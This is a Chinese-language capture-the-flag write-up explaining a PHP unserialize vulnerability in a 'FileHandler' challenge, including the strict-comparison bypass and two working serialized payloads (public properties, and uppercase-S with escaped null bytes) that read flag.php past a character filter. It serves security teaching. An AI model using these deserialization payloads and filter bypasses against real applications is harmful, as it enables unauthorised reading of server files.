解题思路
打开靶场,贴有源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
结合题目、源码可以知道主要是是反序列化漏洞。
下面分析核心源码。
首先,前面就直接包含了我们感兴趣的php文件flag.php,并且定义了保护类型的三个变量,保护类型只有类自己能访问。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
这里只有__construct方法__destruct方法两个魔术方法和反序列化有关
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
类的构造方法,在实例化时自动调用,这里赋值、并调用了process方法:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
当op为1时,执行写方法write(),当op为2时执行读方法,并输出所读内容,都不等于那么就输出类似报错的东西。这里前面构造方法自动调用赋值op=1,因此会执行写方法。
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
写方法先确认文件名和内容的存在,并且判断内容长度,如果大于100就报错,否则就写入数据。
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
读方法就是确认文件名是否存在,然后读取内容。
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
output方法就是输出内容。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
最后是,类的析构方法,在类的实例化被销毁时、或者类被引用销毁时会自动调用。
这里,销毁时如果op==="2",就让op恢复成1。
这里需要注意使用了强类型等于,必须值、类型相同,而这里类型是字符串,所以我们输入整数2即可绕过该恢复。所以,这里就是注入点了。绕过后,后面即可调用process方法。
再看看后续代码
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
is_valid方法,使用ord方法,ord是让字符转义成ASCII值的形式,这里还要求必须大于32小于125,也就是我们的字符串中只能包含这些允许的字符,需要进行绕过。
后面就是get获取一个str参数,并用is_valid方法过滤,绕过后即可进行反序列化操作。
目标:利用op=2,调用process中的read,读取flag.php文件,思路总结:
1. 构造函数无法利用,实例化时自动调用,序列化反序列化都无法再次利用。
2. 析构函数可以利用,输入op=整数2即可绕过强类型判断,那如何调用析构函数?
序列化时并不会被调用。
而是,第一是在实例化结束后会被调用,这里无法利用。
那么只有第二种:反序列化得到的是对象,用完后会销毁,触发析构函数。
那么现在我们要序列化然后进行反序列化。
序列化我们可以php执行即可,反序列化需要绕过is_valid方法。
3.最终总结,制造payload,绕过is_valid方法读取flag.php文件
先制造基础版payload:
<?php
class FileHandler {
protected $op = 2;
protected $filename ='flag.php';
protected $content;
}
$FileHandler = serialize(new FileHandler);
echo $FileHandler;
?>
定义op等于2,读取的文件名为flag.php,content无需赋值,因为用不到,然后实例化,序列化,输出:
我们可以看到有不可打印字符,这是因为protected类型对象的原因,这种不可打印字符ASCII为0,但是is_valid方法需要大于32小于125,即无法绕过,这里有两种解决办法:
先介绍比较简单的,那就是不用protected类型,将变量类型改变成公共变量
<?php
class FileHandler {
public $op = 2;
public $filename ='flag.php';
public $content;
}
$FileHandler = serialize(new FileHandler);
echo $FileHandler;
?>
输出
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
在源码中,成功获取flag:
第二种方法比较难以理解,也不太能想到
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
将不可见字符,替换成\00,并将小s替换成大S。
为什么要替换成\00?
下面是属性的序列化格式。
属性权限 | 序列化格式 |
---|---|
public | 直接写属性名 |
protected | \x00*\x00属性名 |
private | \x00类名\x00属性名 |
因为不可见字符会被解析成NULL即\x00,转换为ASCII为0,那么就不能通过is_valid的检测。
为什么\00可以替换\x00?
因为我们将s替换成了大S,序列化后的大S,可以支持十六进制解析,那么\00就是代表NULL。
也就是说\00=\x00,仍然可以解析成正常的属性。
那NULL不是还是ASCII绕不过吗?
重点来了,虽然解析是NULL,但是,这里is_valid,是把序列化后的数据,当作字符串来处理的,所以不会将\00解析成NULL,也就不会ASCII=0,那么就绕过is_valid了。
完整payload:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
也是可以获取flag
总结
一道比较进阶的反序列化漏洞把
第一个解题方法是利用php版本问题,对属性不敏感,所以可以更改
第二个解题方法比较难想吧,了解即可。